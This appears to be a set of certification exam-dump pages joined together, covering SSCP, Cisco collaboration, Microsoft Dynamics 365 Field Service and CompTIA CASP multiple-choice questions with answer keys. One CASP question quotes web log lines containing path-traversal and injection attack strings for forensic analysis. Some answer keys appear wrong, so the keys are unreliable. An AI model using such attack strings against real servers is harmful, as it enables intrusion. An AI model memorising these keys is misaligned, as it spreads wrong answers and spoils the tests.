What protocol is used on the Local Area Network (LAN) to obtain an IP address from it\\’s known MAC address?
A. Reverse address resolution protocol (RARP)
B. Address resolution protocol (ARP)
C. Data link layer
D. Network address translation (NAT)
Correct Answer: A
The reverse address resolution protocol (RARP) sends out a packet including a MAC address and a request to be
informed of the IP address that should be assigned to that MAC.
Diskless workstations do not have a full operating system but have just enough code to know how to boot up and
broadcast for an IP address, and they may have a pointer to the server that holds the operating system. The diskless
workstation knows its hardware address, so it broadcasts this information so that a listening server can assign it the
correct IP address.
As with ARP, Reverse Address Resolution Protocol (RARP) frames go to all systems on the subnet, but only the RARP
server responds. Once the RARP server receives this request, it looks in its table to see which IP address matches the
broadcast hardware address. The server then sends a message that contains its IP address back to the requesting
computer. The system now has an IP address and can function on the network.
The Bootstrap Protocol (BOOTP) was created after RARP to enhance the functionality that RARP provides for diskless
workstations. The diskless workstation can receive its IP address, the name server address for future name resolutions,
and the default gateway address from the BOOTP server. BOOTP usually provides more functionality to diskless
workstations than does RARP.
The evolution of this protocol has unfolded as follows: RARP evolved into BOOTP, which evolved into DHCP.
The following are incorrect answers:
NAT is a tool that is used for masking true IP addresses by employing internal addresses. ARP does the opposite of
RARP, it finds the MAC address that maps with an existing IP address.
Data Link layer The Data Link layer is not a protocol; it is represented at layer 2 of the OSI model. In the TCP/IP model,
the Data Link and Physical layers are combined into the Network Access layer, which is sometimes called the Link
layer
or the Network Interface layer. Reference(s) used for this question:
Harris, Shon (2012-10-25). CISSP All-in-One Exam Guide, 6th Edition, Telecommunications and Network Security,
Page 584-585 and also 598. For Kindle users see Kindle Locations 12348-12357. McGraw-Hill.
and
KRUTZ, Ronald L. and VINES, Russel D., The CISSP Prep Guide: Mastering the Ten Domains of Computer Security,
John Wiley and Sons, 2001, Chapter 3: Telecommunications and Network Security (page 87).
 

 

QUESTION 5
Which of the following is an IP address that is private (i.e. reserved for internal networks, and not a valid address to use
on the Internet)?
A. 172.12.42.5
B. 172.140.42.5
C. 172.31.42.5
D. 172.15.42.5
Correct Answer: C
This is a valid Class B reserved address. For Class B networks, the reserved addresses are 172.16.0.0 –
172.31.255.255.
The private IP address ranges are defined within RFC 1918:
RFC 1918 private ip address range
 

 

vcekey SSCP exam questions-q5

The following answers are incorrect:
172.12.42.5 Is incorrect because it is not a Class B reserved address.
172.140.42.5 Is incorrect because it is not a Class B reserved address.
172.15.42.5 Is incorrect because it is not a Class B reserved address.


QUESTION 6
What enables users to validate each other\\’s certificate when they are certified under different certification hierarchies?
A. Cross-certification
B. Multiple certificates
C. Redundant certification authorities
D. Root certification authorities
Correct Answer: A
Cross-certification is the act or process by which two CAs each certifiy a public key of the other, issuing a public-key
certificate to that other CA, enabling users that are certified under different certification hierarchies to validate each
other\\’s certificate.
Source: SHIREY, Robert W., RFC2828: Internet Security Glossary, may 2000.


QUESTION 7
Risk analysis is MOST useful when applied during which phase of the system development process?
A. Project initiation and Planning
B. Functional Requirements definition
C. System Design Specification
D. Development and Implementation
Correct Answer: A
In most projects the conditions for failure are established at the beginning of the project. Thus risk management should
be established at the commencement of the project with a risk assessment during project initiation.
As it is clearly stated in the ISC2 book: Security should be included at the first phase of development and throughout all
of the phases of the system development life cycle. This is a key concept to understand for the purpose for the exam.
The most useful time is to undertake it at project initiation, although it is often valuable to update the current risk analysis
at later stages.
Attempting to retrofit security after the SDLC is completed would cost a lot more money and might be impossible in
some cases. Look at the family of browsers we use today, for the past 8 years they always claim that it is the most
secure
version that has been released and within days vulnerabilities will be found.
Risks should be monitored throughout the SDLC of the project and reassessed when appropriate.
The phases of the SDLC can very from one source to another one. It could be as simple as Concept, Design, and
Implementation. It could also be expanded to include more phases such as this list proposed within the ISC2 Official
Study
book:
Project Initiation and Planning
Functional Requirements Definition
System Design Specification
Development and Implementation
Documentations and Common Program Controls
Testing and Evaluation Control, certification and accreditation (CandA)
Transition to production (Implementation)
And there are two phases that will extend beyond the SDLC, they are:
Operation and Maintenance Support (OandM)
Revisions and System Replacement (Disposal)
Source: Information Systems Audit and Control Association, Certified Information Systems Auditor 2002 review manual,
chapter 6: Business Application System Development, Acquisition, Implementation and Maintenance (page 291).
and The Official ISC2 Guide to the CISSP CBK , Second Edition, Page 182-185

QUESTION 8
Which of the following questions is less likely to help in assessing physical and environmental protection?
A. Are entry codes changed periodically?
B. Are appropriate fire suppression and prevention devices installed and working?
C. Are there processes to ensure that unauthorized individuals cannot read, copy, alter, or steal printed or electronic
information?
D. Is physical access to data transmission lines controlled?
Correct Answer: C
Physical security and environmental security are part of operational controls, and are measures taken to protect
systems, buildings, and related supporting infrastructures against threats associated with their physical environment. All
the questions above are useful in assessing physical and environmental protection except for the one regarding
processes that ensuring that unauthorized individuals cannot access information, which is more a production control.
Source: SWANSON, Marianne, NIST Special Publication 800-26, Security Self-Assessment Guide for Information
Technology Systems, November 2001 (Pages A-21 to A-24).


QUESTION 9
External consistency ensures that the data stored in the database is:
A. in-consistent with the real world.
B. remains consistant when sent from one system to another.
C. consistent with the logical world.
D. consistent with the real world.
Correct Answer: D
External consistency ensures that the data stored in the database is consistent with the real world.
Source: KRUTZ, Ronald L. and VINES, Russel D., The CISSP Prep Guide: Mastering the Ten Domains of Computer
Security, 2001, John Wiley and Sons, page 33.


QUESTION 10
Which of the following was developed by the National Computer Security Center (NCSC) for the US Department of
Defense ?
A. TCSEC
B. ITSEC
C. DIACAP
D. NIACAP
Correct Answer: A
The Answer: TCSEC; The TCSEC, frequently referred to as the Orange Book, is the centerpiece of the DoD Rainbow
Series publications.
Initially issued by the National Computer Security Center (NCSC) an arm of the National Security Agency in 1983 and
then updated in 1985, TCSEC was replaced with the development of the Common Criteria international standard
originally
published in 2005.
References:
KRUTZ, Ronald L. and VINES, Russel D., The CISSP Prep Guide: Mastering the Ten Domains of Computer Security,
pages 197-199.
Wikepedia
http://en.wikipedia.org/wiki/TCSEC

 

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QUESTION 1
Which two conditions must a user meet to provision a new device using the Self-Provisioning feature? (Choose two.)
A. The user must have a primary extension.
B. At least two DNs must be assigned to the user device.
C. The user must be part of “Standard CCM Super User”.
D. The user must have the appropriate universal device template linked to the user profile.
E. The user must have at least user device profile assigned.
Correct Answer: AD


QUESTION 2
A user forwards a corporate number to an international number. What are two methods to prevent this forwarded call?
(Choose two.)
A. Set the Call Classification to OnNet for the international route pattern.
B. Block international dial patterns in the SIP trunk CSS.
C. Configure a Forced Authorization Code on the international route pattern.
D. Set Call Forward All CSS to restrict international dial patterns.
E. Check Route Next Hop By Calling Party Number on the international route pattern.
Correct Answer: BC
Reference:
https://www.cisco.com/c/en/us/td/docs/voice_ip_comm/cucme/admin/configuration/manual/cmeadm/cmetrans.html


QUESTION 3
When a remote office location is set up with limited bandwidth resources, which codec carries the most voice calls?
A. G.711
B. G.722
C. G.723
D. G.729
Correct Answer: D
Reference: https://www.cisco.com/c/en/us/td/docs/voice_ip_comm/cucm/srnd/collab10/collab10/media.html

QUESTION 4
How are E.164 called-party numbers normalized on a globalized call-routing environment in Cisco Unified
Communications Manager?
A. Normalization is achieved by stripping or translating the called numbers to internally used directory numbers.
B. Normalization is achieved by setting up calling search spaces and partitions at the SIP trunks for PSTN connection.
C. Call ingress must be normalized before the call being routed.
D. Normalization is not required.
Correct Answer: A


QUESTION 5
An engineer encounters third-party devices that do not support Cisco Discovery Protocol. What must be configured on
the network to allow device discovery?
A. LACP
B. TFTP
C. LLDP
D. SNMP
Correct Answer: C


QUESTION 6
A Cisco Unity Connection Administrator must set a voice mailbox so that it can be accessed from a secondary device.
Which configuration on the voice mailbox makes this change?
A. Attempt Forward routing rule
B. Alternate Extensions
C. Alternate Names
D. Mobile User
Correct Answer: A

QUESTION 7
An engineer must extend the corporate phone system to mobile users connecting through the internet with their own
devices. One requirement is to keep that as simple as possible for end users. Which infrastructure element achieves these goals?
A. Cisco Express Mobility
B. Cisco Expressway-C and Expressway-E
C. Cisco Unified Border Element
D. Cisco Unified Instant Messaging and Presence
Correct Answer: C

QUESTION 8
How does Cisco Unified Communications Manager perform a digit analysis on-hook versus off-hook for an outbound
call from a Cisco IP phone that is registered to Cisco Unified CM?
A. On-hook, Unified CM performs a digit-by-digit analysis, off-hook, Unified GM considers all digits were dialed and does
not wait for additional digits.
B. On-hook, Unified CM considers all digits were dialed and does not wait for additional digits, off-hook, Unified CM
performs a digit-by-digit analysis.
C. On-hook, by pressing the digits and entering “#” to process the call, Unified CM performs a digit-by-digit analysis; offhook. Unified CM analyzes all digits as a string.
D. On-hook, no digit analysis is performed, off-hook. Unified CM requires the “#* to start the digit analysis.
Correct Answer: C

QUESTION 9
An incoming off-net call to a user fails. An engineer notices that the off-net call is G.711, but the phone accepts only
G.729. Which media resource on a Cisco Unified Border Element and Cisco Unified Communications Manager must the
engineer configure to manage the codec negotiation?
A. transcoder
B. CFB
C. MOH
D. MTP
Correct Answer: A

QUESTION 10
Which statement about Cisco Unified Communications Manager and Cisco IM and Presence backups is true?
A. Backups should be scheduled during off-peak hours to avoid system performance issues.
B. Backups are saved as .tar files and encrypted using the web administrator account.
C. Backups are saved as unencrypted .tar files.
D. Backups are not needed for subscriber Cisco Unified Communications Manager and Cisco IM and Presence
servers.
Correct Answer: A
Reference: https://www.cisco.com/c/en/us/td/docs/voice_ip_comm/cucm/admin/11_5_1_SU1/Administration/cucm_b_ad
ministration-guide-1151su1/cucm_b_administration-guide-1151su1_chapter_01010.html#CUCM_TK_S7FC26D5_00

QUESTION 11
Which settings are needed to configure the SIP route pattern in Cisco Unified Communications Manager?
A. pattern usage, IPv6 pattern, and SIP trunk/Route list
B. pattern usage, IPv4 pattern, IPv6 pattern, and description
C. pattern usage, IPv4 pattern, and SIP trunk/Route list
D. SIP trunk/Route list, description, and IPv4 pattern
Correct Answer: C
Reference: https://www.cisco.com/c/en/us/td/docs/voice_ip_comm/cucm/admin/10_0_1/ccmcfg/CUCM_BK_C95ABA82
_00_admin-guide-100/CUCM_BK_C95ABA82_00_admin-guide-100_chapter_0100111.pdf

QUESTION 12
An engineer must configure an MGCP gateway and register it to Cisco Unified Communications Manager. Which
prerequisite must be met before applying the gateway commands to enable MGCP?
A. The MGCP gateway and the Cisco Unified CM must be able to communicate aver ports 5060 and 5061.
B. Cisco Unified CM and the MGCP gateway must utilize the SIP OPTIONS ping feature to monitor status.
C. The MGCP gateway must have voice service VoIP configured.
D. The MGCP gateway and the Cisco Unified CM must be able to communicate over ports 2427, 2428, and 2727.
Correct Answer: D
Reference: https://www.cisco.com/c/en/us/td/docs/ios/voice/cminterop/configuration/guide/12_4t/vc_12_4t_book/vc_ucm_mgcp_gw.html

QUESTION 13
An administrator recently upgraded a Cisco Webex DX80 through its web interface but discovered the next morning that
the unit has received to its previous version. What must the administrator do to prevent this from happening again?
A. Assign a phone security profile with secure SIP.
B. Set the prepare cluster for rollback to pre-8-0 enterprise parameter to true.
C. Confirm the phone load name in the phone configuration.
D. Assign a universal device template to the phone.
Correct Answer: C

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Exam MB-240: Microsoft Dynamics 365 Field Service measures your ability to accomplish the following technical tasks: configure field service applications; manage work orders; schedule and dispatch work orders; manage field service mobility; manage inventory and purchasing; and manage assets and agreements.

  • Configure field service applications (20-25%)
  • Manage work orders (15-20%)
  • Schedule and dispatch work orders (20-25%)
  • Manage field service mobility (10-15%)
  • Manage inventory and purchasing (10-15%)
  • Manage assets and agreements (10-15%)

https://docs.microsoft.com/en-us/learn/certifications/exams/mb-240

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MB-240 Free Exam Questions & Answers | practice

QUESTION 1
Note: This question is part of a series of questions that present the same scenario. Each question in the series contains
a unique solution that might meet stated goals. Some question sets might have more than one correct solution, while
others might not have a correct solution.
After you answer a question in this section, you will NOT be able to return to it. As a result, these questions will not
appear in the review screen.
You are a Dynamics 365 for Field Service system administrator.
You are configuring a new instance of Dynamics 365 for Field Service. The organization needs to automatically
generate work orders based on agreements, and send invoices on a recurring basis by customer.
Solution: You implement the following configuration changes. 1) Create Agreement 2) Define Booking Setup 3) Create
Invoice Setup 4) Set Auto Generate Invoice = Yes 5) Populate Generate Agreement Invoices X Days in Advance
Does this meet the goal?
A. Yes
B. No
Correct Answer: B

QUESTION 2
Note: This question is part of a series of questions that present the same scenario. Each question in the series contains
a unique solution that might meet stated goals. Some question sets might have more than one correct solution, while
others might not have a correct solution.
After you answer a question in this section, you will NOT be able to return to it. As a result, these questions will not
appear in the review screen.
You are a Dynamics 365 for Field Service system administrator.
You are configuring a new instance of Dynamics 365 for Field Service. The organization needs to accurately capture the
cost of work order bookings.
Solution: You implement the following configuration changes:
1) Create Resource Pay Types for regular, holiday, overtime, travel, and breaks.
2) Assign an Hourly Markup percentage to each Resource Pay Type.
3) Assign Resource Pay Types to the applicable Pay Type.
4) Create Business Closures.
5) Create Bookable Resources with Hourly Rates.
Does this meet the goal?
A. Yes
B. No
Correct Answer: B

QUESTION 3
The company has hired a new manager to set up and configure Field Service to automatically schedule work orders to
the most appropriate resource scheduling.
The manager is unable to optimize requirements and bookings related to work orders.
Which three settings are required? Each correct answer presents part of the solution.
A. Assign the Field Service-Administrator security role to the RSO user.
B. Add the RSO dispatcher role to a dispatcher.
C. Enable Resource Scheduling Optimization.
D. Set Connect to Maps as Yes.
E. Add RSO to the profile Field Service-Administrator.
Correct Answer: CDE
References: https://docs.microsoft.com/en-us/dynamics365/customer-engagement/field-service/rso-configuration

QUESTION 4
You are a Dynamics 365 for Field Service Mobile (FSM) customizer.
Technicians report that they are not seeing their Bookings in the FSM app.
You need to investigate why they cannot see their bookings.
What are three actions you must take to perform your investigation? Each correct answer presents a complete solution.
A. Check Drip Scheduling setting on the Bookable Resource.
B. Check sync filter on Bookable Resource Booking View.
C. Check if sync filter on Bookable Resource entity is too restrictive for offline mode.
D. Check that FSM app is synching to server.
E. Check if sync filter on Bookable Resource Booking entity is too restrictive for offline mode.
Correct Answer: ACE
References: https://docs.microsoft.com/en-us/dynamics365/customer-engagement/field-service/mobile-faq-bookings-notshowing

QUESTION 5
You are a Dynamics 365 for Field Service Mobile customizer.
Your mobile technicians indicate that when in offline mode, they do not have access to the same data set that is
available online. Offline mode contains less account and work order data, and users cannot see warehouses.
You need to determine which updates to make within the mobile project so that technicians can see the appropriate
information.
Which three actions should you choose? Each correct answer presents a complete solution.
A. Update Synchronization setting to Always Full Sync.
B. Update entity Sync Filter.
C. Update View filters.
D. Update the Max Sync Records setting.
E. Update the entity Mode to Online and Offline.
Correct Answer: BDE

QUESTION 6
You are onsite, working on a customer\\’s factory floor. You need to return tomorrow and replace a belt on the conveyor.
You look at the inventory in Warehouse 1, and there are 10 in stock. You pull the belt from stock and create an
inventory transfer record.
What are the two correct steps to complete the transfer? Each correct answer presents part of the solution.
A. Select the source warehouse, then select the destination warehouse.
B. Enter the quantity to transfer, then click transfer.
C. Enter the part number from the drop down, then click to transfer.
D. Select the From warehouse location, then select the To warehouse location.
Correct Answer: AB
References: https://docs.microsoft.com/en-us/dynamics365/customer-engagement/field-service/create-inventorytransfer

QUESTION 7
Your company processes a large number of work orders each day. The company wants to ensure the high priority work orders are dealt with immediately.
You need to configure the schedule board so that bookings are easily visible to the dispatchers.
How can you configure Dynamics Field Services to increase booking visibility?
A. Configure a work order type for high priority issues, to help categorize high priority work order records.
B. Configure an Incident type for high priority incidents on work order records.
C. Configure the status color for a booking status record, to identify high priority work order records.
D. Configure a priority record to allow you to identify high priority work order records.
Correct Answer: C

QUESTION 8
You are a Dynamics 365 for Field Service Administrator.
You have a requirement to make a custom attribute “Contract Status” required and to not allow invalid data to be
entered in the attribute.
What are three ways that you can make an attribute required on a form within the Dynamics 365 for Field Service
Mobile App and ensure invalid data cannot be entered? Each correct answer presents a complete solution.
A. Create an OnSave rule, and display a message to the user if the specific field does not meet the required conditions.
B. Create an OnChange rule, and set a simple validation for a field to check whether the field contains data.
C. Create an Option Set with all possible options for the attribute.
D. Create an OnChange rule to highlight a field when it does not contain correct field data.
E. Create an OnSave rule to check any field\\’s data, but without highlighting the field when the condition is not met.
Correct Answer: ACE

QUESTION 9
You work for a recycling company that provides customers with large compactor units to collect their recyclable
materials. The compactor units are comprised of two separate components: a container to collect the recyclable
materials and a
separate component that compacts the recyclable materials to make them easier to transport.
These containers are expensive, and the components tend to break down frequently, requiring ongoing maintenance
and repairs.
You need to easily track the containers that your company has at each client location and maintain a service history for
each of the sub-components.
A. Configure the customer asset records hierarchically, and maintain service history at the sub-component level.
B. Configure the customer inventory records individually, in order to maintain the service history at the parent
component level.
C. Configure the customer inventory records in a hierarchy, and maintain service history at the sub-component level.
D. Configure the customer asset records hierarchically, and maintain service history at the service account level.
Correct Answer: A
References: https://docs.microsoft.com/en-us/dynamics365/customer-engagement/field-service/configure-set-upcustomer-assets

QUESTION 10
Note: This question is part of a series of questions that present the same scenario. Each question in the series contains
a unique solution that might meet stated goals. Some question sets might have more than one correct solution, while
others might not have a correct solution.
After you answer a question in this section, you will NOT be able to return to it. As a result, these questions will not
appear in the review screen.
You are a Dynamics 365 for Field Service system administrator.
You are configuring a new instance of Dynamics 365 for Field Service. The organization needs to accurately capture the
cost of work order bookings.
Solution: You implement the following configuration changes:
1) Create Resource Pay Types for regular, holiday, overtime, travel, and breaks.
2) Assign an Hourly Markup percentage to each Resource Pay Type.
3) Assign Resource Pay Types to the applicable Pay Type.
4) Create the Holiday Schedule.
Does this meet the goal?
A. Yes
B. No
Correct Answer: B

QUESTION 11
You are a Dynamics 365 for Field Service Administrator.
You need to add two compressor sub-components to one of the refrigerator customer assets, in the environment and
set up the sub-components for the customer asset.
What must you do to properly set up the assets?
A. Add the compressor sub-components as sub-assets on the refrigerator customer asset record.
B. Click View Hierarchy on the refrigerator customer asset record.
C. Set the Master Asset on the sub-components to the refrigerator Customer Asset record.
D. Add the compressor sub-components as customer asset records.
Correct Answer: A

QUESTION 12
You are a Dynamics 365 for Field Service Administrator and work for a manufacturing firm. You are receiving support
requests that field engineers are unable to see a custom area entitled “Parts Requests” within the Dynamics 365 Field
Service Mobile App.
You need to troubleshoot the Dynamics 365 for Field Service mobile app to ensure that the field engineers are able to
view the customizations created.
What are the three steps you can take to troubleshoot the issue reported? Each correct answer presents a complete
solution.
A. Ensure that the Dynamics Mobile solution with the appropriate customizations has been published.
B. Synchronize the Dynamics 365 for Field Service Mobile App.
C. Ensure that a security role has been assigned to the project.
D. Verify that the impacted field engineers are enabled to use this project.
E. Ensure that the Woodford project with the appropriate customizations has been published.
Correct Answer: BCE

QUESTION 13
You are a Dynamics 365 for Field Service administrator for a construction company.
You need to schedule a work order for a group of resources that will work together for a set number of days, week, or
months.
How should you achieve the goal without scheduling the same requirements multiple times manually by using the
schedule board (or with the schedule assistant)?
A. Use Facility Scheduling
B. Use Multi-Resource Scheduling
C. Use Resource Crew Scheduling
D. Use Universal Resource Scheduling
Correct Answer: B
References: https://docs.microsoft.com/en-us/dynamics365/customer-engagement/field-service/multi-resourcescheduling-requirement-groups

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Enterprise Security domain expanded to include operations and architecture concepts, techniques, and requirements
More emphasis on analyzing risk through interpreting trend data and anticipating cyber defense needs to meet business goals
Expanding security control topics to include Mobile and small form factor devices, as well as software vulnerability
Broader coverage of integrating cloud and virtualization technologies into a secure enterprise architecture
Inclusion of implementing cryptographic techniques, such as Blockchain- Cryptocurrency and Mobile device encryption
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QUESTION 1
A large enterprise acquires another company which uses antivirus from a different vendor. The CISO has requested that data feeds from the two different antivirus platforms be combined in a way that allows management to assess and rate
the overall effectiveness of antivirus across the entire organization. Which of the following tools can BEST meet the CISO’s requirement?
A. GRC
B. IPS
C. CMDB
D. Syslog-ng
E. IDS
Correct Answer: A
Explanation

QUESTION 2
Due to a new regulatory requirement, ABC Company must now encrypt all WAN transmissions. When speaking with the network administrator, the security administrator learns that the existing routers have the minimum processing power to
do the required level of encryption. Which of the following solutions minimizes the performance impact on the router?
A. Deploy inline network encryption devices
B. Install an SSL acceleration appliance
C. Require all core business applications to use encryption
D. Add an encryption module to the router and configure IPSec
Correct Answer: A
Explanation

QUESTION 3
The source workstation image for new accounting PCs has begun blue-screening. A technician notices that the date/time stamp of the image source appears to have changed. The desktop support director has asked the Information Security
department to determine if any changes were made to the source image. Which of the following methods would BEST help with this process? (Select TWO).
A. Retrieve source system image from backup and run file comparison analysis on the two images.
B. Parse all images to determine if extra data is hidden using steganography.
C. Calculate a new hash and compare it with the previously captured image hash.
D. Ask desktop support if any changes to the images were made.
E. Check key system files to see if date/time stamp is in the past six months.
Correct Answer: AC
Explanation

QUESTION 4
The risk manager is reviewing a report which identifies a requirement to keep a business critical legacy system operational for the next two years. The legacy system is out of support because the vendor and security patches are no longer
released. Additionally, this is a proprietary embedded system and little is documented and known about it. Which of the following should the Information Technology department implement to reduce the security risk from a compromise of this
system?
A. Virtualize the system and migrate it to a cloud provider.
B. Segment the device on its own secure network.
C. Install an antivirus and HIDS on the system.
D. Hire developers to reduce vulnerabilities in the code.
Correct Answer: B
Explanation

QUESTION 5
An organization has decided to reduce labor costs by outsourcing back office processing of credit applications to a provider located in another country. Data sovereignty and privacy concerns raised by the security team resulted in the third-
party provider only accessing and processing the data via remote desktop sessions. To facilitate communications and improve productivity, staff at the third party has been provided with corporate email accounts that are only accessible via
the remote desktop sessions. Email forwarding is blocked and staff at the third party can only communicate with staff within the organization. Which of the following additional controls should be implemented to prevent data loss? (Select
THREE).
A. Implement hashing of data in transit
B. Session recording and capture
C. Disable cross session cut and paste
D. Monitor approved credit accounts
E. User access audit reviews
F. Source IP whitelisting
Correct Answer: CEF
Explanation

QUESTION 6
The technology steering committee is struggling with increased requirements stemming from an increase in telecommuting. The organization has not addressed telecommuting in the past. The implementation of a new SSL-VPN and a VOIP
phone solution enables personnel to work from remote locations with corporate assets. Which of the following steps must the committee take FIRST to outline senior management’s directives?
A. Develop an information classification scheme that will properly secure data on corporate systems.
B. Implement database views and constrained interfaces so remote users will be unable to access PII from personal equipment.
C. Publish a policy that addresses the security requirements for working remotely with company equipment.
D. Work with mid-level managers to identify and document the proper procedures for telecommuting.
Correct Answer: C
Explanation

QUESTION 7
A security engineer is responsible for monitoring company applications for known vulnerabilities. Which of the following is a way to stay current on exploits and information security news?
A. Update company policies and procedures
B. Subscribe to security mailing lists
C. Implement security awareness training
D. Ensure that the organization vulnerability management plan is up-to-date
Correct Answer: B
Explanation

QUESTION 8
A security manager for a service provider has approved two vendors for connections to the service provider backbone. One vendor will be providing authentication services for its payment card service, and the other vendor will be providing
maintenance to the service provider infrastructure sites. Which of the following business agreements is MOST relevant to the vendors and service provider’s relationship?
A. Memorandum of Agreement
B. Interconnection Security Agreement
C. Non-Disclosure Agreement
D. Operating Level Agreement
Correct Answer: B
Explanation

QUESTION 9
A security officer is leading a lessons learned meeting. Which of the following should be components of that meeting? (Select TWO).
A. Demonstration of IPS system
B. Review vendor selection process
C. Calculate the ALE for the event
D. Discussion of event timeline
E. Assigning of follow up items
Correct Answer: DE
Explanation

QUESTION 10
The senior security administrator wants to redesign the company DMZ to minimize the risks associated with both external and internal threats. The DMZ design must support security in depth, change management and configurationprocesses, and support incident reconstruction. Which of the following designs BEST supports the given requirements?
A. A dual firewall DMZ with remote logging where each firewall is managed by a separate administrator.
B. A single firewall DMZ where each firewall interface is managed by a separate administrator and logging to the cloud.
C. A SaaS based firewall which logs to the company’s local storage via SSL, and is managed by the change control team.
D. A virtualized firewall, where each virtual instance is managed by a separate administrator and logging to the same hardware.
Correct Answer: A
Explanation

QUESTION 11
Which of the following provides the BEST risk calculation methodology?
A. Annual Loss Expectancy (ALE) x Value of Asset
B. Potential Loss x Event Probability x Control Failure Probability
C. Impact x Threat x Vulnerability
D. Risk Likelihood x Annual Loss Expectancy (ALE)
Correct Answer: B
Explanation

QUESTION 12
Ann, a systems engineer, is working to identify an unknown node on the corporate network. To begin her investigative work, she runs the following nmap command string:
[email protected]:~$ sudo nmap -O 192.168.1.54
Based on the output, nmap is unable to identify the OS running on the node, but the following ports are open on the device:
TCP/22
TCP/111
TCP/512-514
TCP/2049
TCP/32778
Based on this information, which of the following operating systems is MOST likely running on the unknown node?
A. Linux
B. Windows
C. Solaris
D. OSX
Correct Answer: C
Explanation
Explanation/Reference:

QUESTION 13
A government agency considers confidentiality to be of utmost importance and availability issues to be of least importance. Knowing this, which of the following correctly orders various vulnerabilities in the order of MOST important to LEAST
important?
A. Insecure direct object references, CSRF, Smurf
B. Privilege escalation, Application DoS, Buffer overflow
C. SQL injection, Resource exhaustion, Privilege escalation
D. CSRF, Fault injection, Memory leaks
Correct Answer: A
Explanation

QUESTION 14
A company sales manager received a memo from the company’s financial department which stated that the company would not be putting its software products through the same security testing as previous years to reduce the research and
development cost by 20 percent for the upcoming year. The memo also stated that the marketing material and service level agreement for each product would remain unchanged. The sales manager has reviewed the sales goals for the
upcoming year and identified an increased target across the software products that will be affected by the financial department’s change. All software products will continue to go through new development in the coming year. Which of the
following should the sales manager do to ensure the company stays out of trouble?
A. Discuss the issue with the software product’s user groups
B. Consult the company’s legal department on practices and law
C. Contact senior finance management and provide background information
D. Seek industry outreach for software practices and law
Correct Answer: B
Explanation

QUESTION 15
The security administrator finds unauthorized tables and records, which were not present before, on a Linux database server. The database server communicates only with one web server, which connects to the database server via an
account with SELECT only privileges.
Web server logs show the following:
90.76.165.40 — [08/Mar/2014:10:54:04] “GET calendar.php?create%20table%20hidden HTTP/1.1” 200 5724
90.76.165.40 — [08/Mar/2014:10:54:05] “GET ../../../root/.bash_history HTTP/1.1” 200 90.76.165.40 ?- [08/Mar/2014:10:54:04] “GET index.php?user<;scrip>;Creat<;/scrip>; HTTP/1.1” 200 5724
The security administrator also inspects the following file system locations on the database server using the command `ls -al /root’
drwxrwxrwx 11 root root 4096 Sep 28 22:45 .
drwxr-xr-x 25 root root 4096 Mar 8 09:30 ..
-rws—— 25 root root 4096 Mar 8 09:30 .bash_history
-rw——- 25 root root 4096 Mar 8 09:30 .bash_history
-rw——- 25 root root 4096 Mar 8 09:30 .profile
-rw——- 25 root root 4096 Mar 8 09:30 .ssh
Which of the following attacks was used to compromise the database server and what can the security administrator implement to detect such attacks in the future? (Select TWO).
A. Privilege escalation
B. Brute force attack
C. SQL injection
D. Cross-site scripting
E. Using input validation, ensure the following characters are sanitized: <>
F. Update crontab with: find / \( -perm -4000 \) –type f –print0 | xargs -0 ls –l | email.sh
G. Implement the following PHP directive: $clean_user_input = addslashes($user_input)
H. Set an account lockout policy
Correct Answer: AF
Explanation
Explanation/Reference:

QUESTION 16
A member of the software development team has requested advice from the security team to implement a new secure lab for testing malware. Which of the following is the NEXT step that the security team should take?
A. Purchase new hardware to keep the malware isolated.
B. Develop a policy to outline what will be required in the secure lab.
C. Construct a series of VMs to host the malware environment.
D. Create a proposal and present it to management for approval.
Correct Answer: D
Explanation

QUESTION 17
Company XYZ provides cable television service to several regional areas. They are currently installing fiber-to-the-home in many areas with hopes of also providing telephone and Internet services. The telephone and Internet services
portions of the company will each be separate subsidiaries of the parent company. The board of directors wishes to keep the subsidiaries separate from the parent company. However all three companies must share customer data for the
purposes of accounting, billing, and customer authentication. The solution must use open standards, and be simple and seamless for customers, while only sharing minimal data between the companies. Which of the following solutions is
BEST suited for this scenario?
A. The companies should federate, with the parent becoming the SP, and the subsidiaries becoming an IdP.
B. The companies should federate, with the parent becoming the IdP, and the subsidiaries becoming an SSP.
C. The companies should federate, with the parent becoming the IdP, and the subsidiaries becoming an SP.
D. The companies should federate, with the parent becoming the ASP, and the subsidiaries becoming an IdP.
Correct Answer: C
Explanation

QUESTION 18
The Chief Information Security Officer (CISO) at a company knows that many users store business documents on public cloud-based storage, and realizes this is a risk to the company. In response, the CISO implements a mandatory training
course in which all employees are instructed on the proper use of cloud-based storage. Which of the following risk strategies did the CISO implement?
A. Avoid
B. Accept
C. Mitigate
D. Transfer
Correct Answer: C
Explanation

QUESTION 19
A completely new class of web-based vulnerabilities has been discovered. Claims have been made that all common web-based development frameworks are susceptible to attack. Proof-of-concept details have emerged on the Internet. A
security advisor within a company has been asked to provide recommendations on how to respond quickly to these vulnerabilities. Which of the following BEST describes how the security advisor should respond?
A. Assess the reliability of the information source, likelihood of exploitability, and impact to hosted data. Attempt to exploit via the proof-of-concept code. Consider remediation options.
B. Hire an independent security consulting agency to perform a penetration test of the web servers. Advise management of any `high’ or `critical’ penetration test findings and put forward recommendations for mitigation.
C. Review vulnerability write-ups posted on the Internet. Respond to management with a recommendation to wait until the news has been independently verified by software vendors providing the web application software.
D. Notify all customers about the threat to their hosted data. Bring the web servers down into “maintenance mode” until the vulnerability can be reliably mitigated through a vendor patch.
Correct Answer: A
Explanation

QUESTION 20
A software project manager has been provided with a requirement from the customer to place limits on the types of transactions a given user can initiate without external interaction from another user with elevated privileges. This requirement
is BEST described as an implementation of:
A. an administrative control
B. dual control
C. separation of duties
D. least privilege
E. collusion
Correct Answer: C
Explanation

QUESTION 21
The Chief Information Security Officer (CISO) is asking for ways to protect against zero-day exploits. The CISO is concerned that an unrecognized threat could compromise corporate data and result in regulatory fines as well as poor
corporate publicity. The network is mostly flat, with split staff/guest wireless functionality. Which of the following equipment MUST be deployed to guard against unknown threats?
A. Cloud-based antivirus solution, running as local admin, with push technology for definition updates.
B. Implementation of an offsite data center hosting all company data, as well as deployment of VDI for all client computing needs.
C. Host based heuristic IPS, segregated on a management VLAN, with direct control of the perimeter firewall ACLs.
D. Behavior based IPS with a communication link to a cloud based vulnerability and threat feed.
Correct Answer: D
Explanation

QUESTION 22
An organization is concerned with potential data loss in the event of a disaster, and created a backup datacenter as a mitigation strategy. The current storage method is a single NAS used by all servers in both datacenters. Which of the
following options increases data availability in the event of a datacenter failure?
A. Replicate NAS changes to the tape backups at the other datacenter.
B. Ensure each server has two HBAs connected through two routes to the NAS.
C. Establish deduplication across diverse storage paths.
D. Establish a SAN that replicates between datacenters.
